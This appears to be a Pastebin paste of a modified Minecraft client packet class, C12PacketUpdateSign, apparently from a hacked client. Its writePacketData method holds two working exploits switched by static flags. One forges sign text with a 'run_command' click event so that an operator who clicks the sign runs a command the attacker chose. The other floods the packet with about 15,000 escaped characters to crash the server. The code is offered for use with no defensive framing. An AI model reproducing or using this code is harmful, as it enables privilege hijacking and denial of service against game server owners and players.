Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package net.minecraft.network.play.client;
- import java.io.IOException;
- import net.minecraft.network.INetHandler;
- import net.minecraft.network.Packet;
- import net.minecraft.network.PacketBuffer;
- import net.minecraft.network.play.INetHandlerPlayServer;
- import net.minecraft.util.BlockPos;
- import net.minecraft.util.IChatComponent;
- public class C12PacketUpdateSign implements Packet
- {
- public static Boolean isForceOpactive = false;
- public static Boolean crashsign = false;
- public static String signCommand;
- public static String signContent;
- private BlockPos field_179723_a;
- private IChatComponent[] lines;
- private static final String __OBFID = "CL_00001370";
- public C12PacketUpdateSign() {}
- public C12PacketUpdateSign(BlockPos p_i45933_1_, IChatComponent[] p_i45933_2_)
- {
- this.field_179723_a = p_i45933_1_;
- this.lines = new IChatComponent[] {p_i45933_2_[0], p_i45933_2_[1], p_i45933_2_[2], p_i45933_2_[3]};
- }
- /**
- * Reads the raw packet data from the data stream.
- */
- public void readPacketData(PacketBuffer data) throws IOException
- {
- this.field_179723_a = data.readBlockPos();
- this.lines = new IChatComponent[4];
- for (int var2 = 0; var2 < 4; ++var2)
- {
- this.lines[var2] = data.readChatComponent();
- }
- }
- /**
- * Writes the raw packet data to the data stream.
- */
- public void writePacketData(PacketBuffer buf) throws IOException
- {
- if (isForceOpactive) {
- buf.writeBlockPos(this.field_179723_a);
- for (int i = 0; i < 4; i++)
- {
- IChatComponent ichatcomponent = this.lines[i];
- String s = "{\"text\":\"" + signContent + "\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + signCommand + "\"}}";
- buf.writeString(s);
- }
- }else if (crashsign){
- StringBuilder sb = new StringBuilder();
- for (int m = 0; m <= 15000; m++) {
- sb.append("\\ufdfd");
- }
- buf.writeString(sb.toString());
- }else {
- buf.writeBlockPos(this.field_179723_a);
- for (int var2 = 0; var2 < 4; ++var2)
- {
- buf.writeChatComponent(this.lines[var2]);
- }
- }
- }
- /**
- * Passes this Packet on to the NetHandler for processing.
- */
- public void processPacket(INetHandlerPlayServer handler)
- {
- handler.processUpdateSign(this);
- }
- public BlockPos func_179722_a()
- {
- return this.field_179723_a;
- }
- public IChatComponent[] func_180768_b()
- {
- return this.lines;
- }
- /**
- * Passes this Packet on to the NetHandler for processing.
- */
- public void processPacket(INetHandler handler)
- {
- this.processPacket((INetHandlerPlayServer)handler);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement